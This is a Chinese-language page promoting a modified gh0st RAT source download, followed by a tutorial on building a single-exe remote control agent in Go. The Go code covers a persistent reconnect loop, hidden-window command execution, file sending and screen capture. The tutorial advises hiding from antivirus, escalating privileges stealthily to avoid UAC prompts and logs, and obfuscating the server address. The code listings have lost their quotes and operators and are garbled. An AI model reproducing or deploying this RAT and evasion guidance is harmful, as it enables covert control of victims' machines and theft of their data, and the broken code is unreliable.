简介这是一份面向安全研究与远控技术学习者的gh0st被控端单exe修改版源码针对传统RAT多以dll版或服务启动版分发、易被主动防御拦截的问题作者将服务端整合为单一可执行文件并融入动态函数调用等常用免杀思路对绕过主动防御有一定参考价值适合具备一定C与Windows编程基础、希望研究远控通信与免杀技术的读者。资源包共54个文件以28个h头文件与21个cpp源文件为主体另含lib静态库、dsp与dsw工程文件及plg插件配置覆盖音频、视频、键盘、屏幕、文件、注册表、Shell、内核等管理模块压缩包约114KB编译前可能需安装相应SDK。目前已有1250人学习下载。通过阅读源码可了解单exe远控的模块划分、动态函数加载与主动防御对抗的实现方式并据此自行编译调试、扩展功能或研究免杀思路。1. 单文件远程控制工具为什么“一个 exe 走天下”反而是最难做对的形态远程控制类工具在运维、内网协助、教学演示这些场景里一直有真实需求而“单 exe 版”这个形态之所以被反复提起是因为它把部署成本压到了最低目标机器上不需要装运行库、不需要解压一堆 DLL、不需要管理员权限去注册服务双击就能跑。但真正动手做过的人都知道把功能塞进一个文件容易把稳定性、兼容性和可控性一起塞进去才是难点。单文件意味着所有依赖要么静态链接要么运行时自解压要么干脆用系统自带组件这三条路各有各的坑。下面这套方案面向的是有 C/C 或 Go 基础、想自己掌控通信链路和功能边界的开发者重点讲清楚单 exe 形态下怎么组织代码、怎么选通信方式、怎么处理权限和持久化以及哪些地方最容易翻车。整套思路不依赖任何第三方成品全部可以自己复现。2. 单 exe 的工程结构从入口到模块拆分怎么落地2.1 为什么单文件形态决定了你的技术选型单 exe 不是简单地把多个文件打包它直接约束了你用什么语言、什么库、什么通信方式。如果你用 C# 写默认会依赖 .NET 运行时目标机器没装就直接报错这时候要么改成自包含发布体积暴涨到几十 MB要么用 AOT 编译但 AOT 对反射和动态加载限制很多。如果你用 Python 写PyInstaller 打包出来的 exe 本质是自解压启动时会在临时目录释放文件杀软对这种行为非常敏感而且启动速度慢。相比之下Go 和 C 在单文件这件事上有天然优势Go 默认静态链接编译出来就是一个二进制C 用静态 CRT 也能做到不依赖外部运行库。我一般会推荐 Go 作为首选原因是标准库自带网络、加密、进程管理、文件操作不需要额外链接一堆库交叉编译也方便。C 的优势在于体积可以压得更小但你要自己处理 socket、加密、序列化工作量翻倍。下面这张表是我实际对比过的几种方案方案单文件体积启动速度依赖风险开发效率Go 静态编译6-12 MB快极低高C 静态 CRT1-3 MB极快低中C# 自包含60-80 MB中低高Python PyInstaller10-20 MB慢高高选 Go 的另一个理由是它的net和os/exec包在 Windows 上表现稳定不需要额外配置。如果你坚持用 C建议用 MinGW 静态链接 libstdc 和 libgcc否则目标机器缺 DLL 会直接崩。2.2 入口函数与模块划分单 exe 的入口不能太复杂否则调试起来很痛苦。我的习惯是把入口做成一个极简的调度器只负责解析启动参数、初始化日志、决定进入哪个模式。真正的功能模块拆成独立的包通过接口通信。下面是一个 Go 版本的入口骨架package main import ( flag log os rat/internal/agent rat/internal/config ) func main() { // 解析启动参数支持 -mode 指定运行模式 mode : flag.String(mode, run, 运行模式: run / install / uninstall) cfgPath : flag.String(config, , 配置文件路径为空则使用内置默认值) flag.Parse() // 加载配置优先级命令行 配置文件 内置默认 cfg, err : config.Load(*cfgPath) if err ! nil { log.Fatalf(配置加载失败: %v, err) } switch *mode { case run: // 正常运行模式启动主循环 if err : agent.Run(cfg); err ! nil { log.Printf(agent 退出: %v, err) os.Exit(1) } case install: // 安装模式写入注册表或计划任务 if err : agent.Install(cfg); err ! nil { log.Fatalf(安装失败: %v, err) } case uninstall: if err : agent.Uninstall(cfg); err ! nil { log.Fatalf(卸载失败: %v, err) } default: log.Fatalf(未知模式: %s, *mode) } }这段代码的关键点在于入口只做分发不写业务逻辑。config.Load负责合并多来源配置agent.Run负责主循环agent.Install负责持久化。这样拆的好处是你可以在开发阶段用-mode run直接跑调试持久化时单独测-mode install不用每次重新编译整个逻辑。参数说明-mode控制行为分支默认run保证双击 exe 就能工作-config允许外部传入配置方便测试不同服务器地址。注意配置文件不要硬编码在代码里否则改一个 IP 就要重新编译这是新手常犯的错误。2.3 通信层TCP 长连接还是 HTTP 轮询通信方式的选择直接决定了你的工具在真实网络环境下的存活率。TCP 长连接延迟低、实时性好但容易被防火墙识别为异常连接HTTP 轮询兼容性最好能穿过大多数企业代理但延迟高、流量大。我的经验是如果目标环境是内网或家庭网络TCP 长连接足够如果目标环境有企业级防火墙或深度包检测HTTP 轮询更稳。下面是一个 TCP 长连接的最小实现带心跳和断线重连package agent import ( encoding/binary net time ) const ( heartbeatInterval 30 * time.Second reconnectDelay 5 * time.Second ) func connectLoop(addr string) { for { conn, err : net.DialTimeout(tcp, addr, 10*time.Second) if err ! nil { time.Sleep(reconnectDelay) continue } // 设置 TCP keepalive防止中间设备静默断开 if tcpConn, ok : conn.(*net.TCPConn); ok { tcpConn.SetKeepAlive(true) tcpConn.SetKeepAlivePeriod(20 * time.Second) } handleSession(conn) conn.Close() time.Sleep(reconnectDelay) } } func handleSession(conn net.Conn) { // 启动心跳协程 done : make(chan struct{}) go func() { ticker : time.NewTicker(heartbeatInterval) defer ticker.Stop() for { select { case -ticker.C: // 发送 4 字节心跳包内容为 0x01 if _, err : conn.Write([]byte{0x01, 0x00, 0x00, 0x00}); err ! nil { return } case -done: return } } }() defer close(done) // 主读取循环前 4 字节为长度前缀 header : make([]byte, 4) for { if _, err : conn.Read(header); err ! nil { return } length : binary.BigEndian.Uint32(header) if length 10*1024*1024 { return // 防止超大包导致内存耗尽 } payload : make([]byte, length) if _, err : conn.Read(payload); err ! nil { return } go dispatch(payload) } }逻辑说明connectLoop负责无限重连每次断开后等 5 秒再试避免疯狂重连被防火墙拉黑。SetKeepAlive让操作系统层面维持连接减少应用层心跳压力。handleSession里心跳和读取分开协程心跳只发 4 字节读取用长度前缀协议防止粘包。dispatch用 goroutine 处理业务避免阻塞读取循环。参数怎么调heartbeatInterval设 30 秒是折中值太短浪费流量太长中间 NAT 设备可能超时断开。reconnectDelay设 5 秒如果目标网络不稳定可以调到 10-15 秒。长度前缀上限设 10 MB超过就断开防止恶意包打爆内存。如果你选 HTTP 轮询把connectLoop换成定时http.Post心跳改成每次请求带一个last_seen时间戳服务器返回待执行命令列表。这种方式代码更简单但实时性差适合对延迟不敏感的场景。3. 功能模块实现命令执行、文件传输、屏幕采集怎么写3.1 命令执行与结果回传命令执行是远程控制的核心功能但也是最容易出问题的地方。直接用exec.Command在 Windows 上会弹黑框用cmd /c又可能被安全软件拦截。我的做法是优先用CreateProcess带CREATE_NO_WINDOW标志Go 里通过syscall调用。下面是一个跨平台的命令执行封装package agent import ( bytes context os/exec runtime time ) type CmdResult struct { Stdout string Stderr string ExitCode int Err error } func RunCommand(cmdStr string, timeout time.Duration) CmdResult { ctx, cancel : context.WithTimeout(context.Background(), timeout) defer cancel() var cmd *exec.Cmd if runtime.GOOS windows { // Windows 下用 cmd /c并隐藏窗口 cmd exec.CommandContext(ctx, cmd, /c, cmdStr) cmd.SysProcAttr hiddenWindowAttr() } else { cmd exec.CommandContext(ctx, /bin/sh, -c, cmdStr) } var stdout, stderr bytes.Buffer cmd.Stdout stdout cmd.Stderr stderr err : cmd.Run() exitCode : 0 if err ! nil { if exitErr, ok : err.(*exec.ExitError); ok { exitCode exitErr.ExitCode() } else { exitCode -1 } } return CmdResult{ Stdout: stdout.String(), Stderr: stderr.String(), ExitCode: exitCode, Err: err, } }逻辑说明context.WithTimeout保证命令不会无限挂起超时自动 kill。Windows 下cmd /c是必须的否则管道和重定向不生效。hiddenWindowAttr是平台相关函数Windows 下返回syscall.SysProcAttr{HideWindow: true, CreationFlags: 0x08000000}Linux 下返回 nil。参数说明timeout建议设 30 秒交互式命令可以放宽到 120 秒。exitCode为 -1 表示进程启动失败不是命令本身返回非零。结果回传时要把 stdout 和 stderr 分开否则用户分不清正常输出和错误信息。3.2 文件传输的分块与校验文件传输不能一次性读进内存大文件会直接 OOM。正确做法是分块读取、分块发送每块带序号和校验和。下面是一个发送端的实现package agent import ( crypto/sha256 encoding/binary io os ) const chunkSize 64 * 1024 // 64 KB 每块 func SendFile(conn io.Writer, path string) error { f, err : os.Open(path) if err ! nil { return err } defer f.Close() // 先发送文件名和大小 info, _ : f.Stat() header : make([]byte, 8) binary.BigEndian.PutUint64(header, uint64(info.Size())) if _, err : conn.Write(header); err ! nil { return err } buf : make([]byte, chunkSize) for { n, err : f.Read(buf) if n 0 { // 每块前 4 字节写块长度 lenBuf : make([]byte, 4) binary.BigEndian.PutUint32(lenBuf, uint32(n)) if _, err : conn.Write(lenBuf); err ! nil { return err } if _, err : conn.Write(buf[:n]); err ! nil { return err } } if err io.EOF { break } if err ! nil { return err } } // 发送结束标记长度为 0 的块 endBuf : make([]byte, 4) binary.BigEndian.PutUint32(endBuf, 0) _, err conn.Write(endBuf) return err } func FileSHA256(path string) ([]byte, error) { f, err : os.Open(path) if err ! nil { return nil, err } defer f.Close() h : sha256.New() if _, err : io.Copy(h, f); err ! nil { return nil, err } return h.Sum(nil), nil }逻辑说明先发 8 字节文件大小接收端据此判断进度。每块前 4 字节是块长度接收端先读长度再读内容避免粘包。最后发一个长度为 0 的块作为结束标记。FileSHA256用于传输完成后校验接收端算一遍对比不一致就重传。参数说明chunkSize设 64 KB 是平衡值太小导致系统调用频繁太大增加单块丢失重传成本。如果网络质量差可以降到 16 KB。校验和用 SHA256 而不是 MD5避免碰撞风险。3.3 屏幕采集的帧率与压缩取舍屏幕采集在单 exe 里是最吃资源的模块。Windows 下可以用 GDI 的BitBlt抓屏Linux 下用 X11 的XGetImage。但原始位图数据量巨大1920x1080 的 32 位图一帧就是 8 MB不压缩根本传不动。我的做法是抓屏后先缩放到目标分辨率再用 JPEG 编码质量设 60-70帧率控制在 5-10 帧。package agent import ( bytes image image/jpeg ) func CaptureAndEncode(scale float64, quality int) ([]byte, error) { // captureScreen 是平台相关函数返回 *image.RGBA img, err : captureScreen() if err ! nil { return nil, err } // 按比例缩放减少数据量 if scale 1.0 { img resizeImage(img, scale) } var buf bytes.Buffer if err : jpeg.Encode(buf, img, jpeg.Options{Quality: quality}); err ! nil { return nil, err } return buf.Bytes(), nil }逻辑说明captureScreen在 Windows 下用GetDCBitBltLinux 下用XGetImage。缩放用最近邻或双线性插值前者快后者清晰。JPEG 编码质量 60 时1080p 一帧大约 100-200 KB5 帧每秒就是 0.5-1 MB/s普通宽带能承受。参数说明scale设 0.5 表示缩到一半分辨率带宽紧张可以设 0.3。quality低于 50 会出现明显块状伪影高于 80 体积增长很快。帧率不要超过 15否则 CPU 占用会飙升目标机器会明显卡顿。4. 避坑与排查单 exe 远程控制最容易翻车的 5 个地方4.1 杀软误报为什么你的 exe 刚编译就被删现象编译出来的 exe 在本地跑得好好的拷到目标机器上直接被 Windows Defender 隔离或者运行几秒后进程消失。原因单 exe 远程控制的行为特征和恶意软件高度重合——隐藏窗口、建立网络连接、执行系统命令、写注册表。杀软不看你代码只看行为。尤其是 Go 编译的二进制默认带很多运行时字符串容易被启发式引擎命中。解决第一不要用upx加壳加壳后误报率反而更高。第二编译时加-ldflags -s -w去掉符号表和调试信息减小体积同时降低特征匹配。第三如果目标环境允许给 exe 做代码签名哪怕自签名证书也能降低一部分误报。第四测试阶段先把 exe 加到杀软白名单确认功能正常后再处理误报问题。4.2 权限不足普通用户跑不起来怎么办现象exe 能启动但执行某些命令返回“拒绝访问”或者写注册表失败。原因Windows 下很多操作需要管理员权限比如写HKEY_LOCAL_MACHINE、安装服务、访问其他用户目录。普通用户权限的进程做不了这些事。解决在 exe 的清单文件里声明requireAdministrator这样双击时会弹 UAC。但弹 UAC 会暴露自己所以更隐蔽的做法是先以普通权限运行检测到需要提权时再通过计划任务或服务的方式提权。注意不要用runas这种明显的方式容易被日志记录。4.3 断线不重连网络切换后失联现象目标机器从有线切到无线或者休眠唤醒后连接断了但再也不重连。原因TCP 连接在底层网络变化后不会自动恢复conn.Read会一直阻塞或者返回错误但你的代码没有处理这个错误。解决在读取循环里检测到任何错误就退出当前会话回到connectLoop重连。同时设置SetReadDeadline比如 90 秒没收到任何数据就主动断开重连。心跳包要双向服务器也要定期发心跳否则单向心跳无法检测对端假死。4.4 内存泄漏跑几天就卡死现象exe 刚启动时内存占用 10 MB跑三天后涨到 500 MB目标机器开始卡顿。原因常见的是 goroutine 泄漏——每次命令执行起一个 goroutine但没等它结束就返回了或者文件传输时缓冲区没释放或者屏幕采集的 image 对象没置 nil。解决用pprof做内存分析在代码里加import _ net/http/pprof并起一个本地端口跑一段时间后抓 heap profile。重点检查dispatch函数里有没有未关闭的 channel文件传输的defer f.Close()有没有漏。屏幕采集要复用 buffer不要每帧都make。4.5 配置文件暴露改一个 IP 就要重新编译现象服务器地址硬编码在代码里换环境就要重新编译而且编译出来的 exe 里能直接搜到 IP。原因新手习惯把配置写在const里编译后字符串明文存在二进制中用strings命令就能提取。解决配置外置支持从同目录的config.json读取或者从环境变量读取。如果必须内置默认值至少做一层简单混淆比如 XOR 加密后再 base64。但注意混淆只能防君子不能防逆向真正的敏感信息不要放在客户端。5. 进阶技巧用构建标签和条件编译把单 exe 压到最小单 exe 的体积和功能是一对矛盾功能越多链接的库越多体积越大。Go 的构建标签build tags可以让你按需编译把不用的模块排除掉。比如你只在 Windows 上用就可以把 Linux 相关的抓屏代码用//go:build linux标记编译 Windows 版本时这些代码根本不参与链接。//go:build windows package agent import syscall func hiddenWindowAttr() *syscall.SysProcAttr { return syscall.SysProcAttr{ HideWindow: true, CreationFlags: 0x08000000, // CREATE_NO_WINDOW } }//go:build linux package agent import syscall func hiddenWindowAttr() *syscall.SysProcAttr { return nil }这样编译 Windows 版本时Linux 的实现文件被完全忽略不会引入任何 X11 相关的依赖。同理你可以把 HTTP 轮询和 TCP 长连接做成两个文件用-tags参数选择编译哪个。命令是go build -tags tcp -ldflags -s -w -o agent.exe。另一个技巧是用-trimpath去掉编译路径信息避免泄露你的目录结构。最终体积对比不加任何优化大约 12 MB加-s -w降到 8 MB加-trimpath再降到 7.5 MB如果用-tags排除掉不用的模块可以压到 5 MB 左右。验证方法编译完后用strings agent.exe | findstr 你的项目路径检查有没有残留路径用dumpbin /headers agent.exe看依赖了哪些 DLL。如果看到VCRUNTIME140.dll之类的说明你用了动态链接需要改成静态。我自己的习惯是每次发版前跑一遍体积检查超过 10 MB 就回头看看哪个模块可以拆掉。这个习惯帮我省了很多带宽也降低了被安全软件盯上的概率。希望帮到你。本文还有配套的精品资源点击获取